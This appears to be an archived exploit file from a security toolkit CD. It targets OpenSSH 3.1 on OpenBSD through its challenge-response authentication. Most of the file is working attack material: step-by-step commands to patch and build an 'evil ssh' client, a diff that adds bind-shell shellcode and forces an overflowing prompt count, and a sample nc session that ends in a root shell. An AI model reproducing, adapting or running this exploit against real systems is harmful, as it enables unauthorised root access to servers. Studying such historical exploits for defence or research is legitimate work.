home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ssh / openssh / openssh3.1obsdexp.txt < prev    next >
Text File  |  2005-02-12  |  3KB  |  109 lines

  1.  
  2. 1. Download openssh-3.2.2p1.tar.gz and untar it
  3.  
  4. ~ $ tar -xvzf openssh-3.2.2p1.tar.gz
  5.  
  6. 2. Apply the patch provided below by running:
  7.  
  8. ~/openssh-3.2.2p1 $ patch < path_to_diff_file
  9.  
  10. 3. Compile the patched client
  11.  
  12. ~/openssh-3.2.2p1 $ ./configure && make ssh
  13.  
  14. 4. Run the evil ssh:
  15.  
  16. ~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
  17.  
  18. 5. If the sploit worked, you can connect to port 128 in another terminal:
  19.  
  20. ~ $ nc localhost 128
  21. uname -a
  22. OpenBSD nice 3.1 GENERIC#59 i386
  23. id
  24. uid=0(root) gid=0(wheel) groups=0(wheel)
  25.  
  26. --- sshconnect2.c    Sun Mar 31 20:49:39 2002
  27. +++ evil-sshconnect2.c    Fri Jun 28 19:22:12 2002
  28. @@ -839,6 +839,56 @@
  29.  /*
  30.   * parse INFO_REQUEST, prompt user and send INFO_RESPONSE
  31.   */
  32. +
  33. +int do_syscall( int nb_args, int syscall_num, ... );
  34. +
  35. +void shellcode( void )
  36. +{
  37. +    int server_sock, client_sock, len;
  38. +    struct sockaddr_in server_addr;
  39. +    char rootshell[12], *argv[2], *envp[1];
  40. +
  41. +    server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
  42. +    server_addr.sin_addr.s_addr = 0;
  43. +    server_addr.sin_port = 32768;
  44. +    server_addr.sin_family = AF_INET;
  45. +    do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr, 
  46. 16 );
  47. +    do_syscall( 2, 106, server_sock, 1 );
  48. +    client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
  49. +    &server_addr, &len );
  50. +    do_syscall( 2, 90, client_sock, 0 );
  51. +    do_syscall( 2, 90, client_sock, 1 );
  52. +    do_syscall( 2, 90, client_sock, 2 );
  53. +    * (int *) ( rootshell + 0 ) = 0x6E69622F;
  54. +    * (int *) ( rootshell + 4 ) = 0x0068732f;
  55. +    * (int *) ( rootshell + 8 ) = 0;
  56. +    argv[0] = rootshell;
  57. +    argv[1] = 0;
  58. +    envp[0] = 0;
  59. +    do_syscall( 3, 59, rootshell, argv, envp );
  60. +}
  61. +
  62. +int do_syscall( int nb_args, int syscall_num, ... )
  63. +{
  64. +    int ret;
  65. +    asm(
  66. +    "mov    8(%ebp), %eax; "
  67. +    "add    $3,%eax; "
  68. +    "shl    $2,%eax; "
  69. +    "add    %ebp,%eax; "
  70. +    "mov    8(%ebp), %ecx; "
  71. +    "push_args: "
  72. +    "push    (%eax); "
  73. +    "sub    $4, %eax; "
  74. +    "loop    push_args; "
  75. +    "mov    12(%ebp), %eax; "
  76. +    "push    $0; "
  77. +    "int    $0x80; "
  78. +    "mov    %eax,-4(%ebp)"
  79. +    );
  80. +    return( ret );
  81. +}
  82. +
  83.  void
  84.  input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
  85.  {
  86. @@ -865,7 +915,7 @@
  87.      xfree(inst);
  88.      xfree(lang);
  89.  
  90. -    num_prompts = packet_get_int();
  91. +    num_prompts = 1073741824 + 1024;
  92.      /*
  93.       * Begin to build info response packet based on prompts requested.
  94.       * We commit to providing the correct number of responses, so if
  95. @@ -874,6 +924,13 @@
  96.       */
  97.      packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
  98.      packet_put_int(num_prompts);
  99. +
  100. +    for( i = 0; i < 1045; i++ )
  101. +        packet_put_cstring( "xxxxxxxxxx" );
  102. +
  103. +    packet_put_string( shellcode, 2047 );
  104. +    packet_send();
  105. +    return;
  106.  
  107.      debug2("input_userauth_info_req: num_prompts %d", num_prompts);
  108.      for (i = 0; i < num_prompts; i++) {
  109.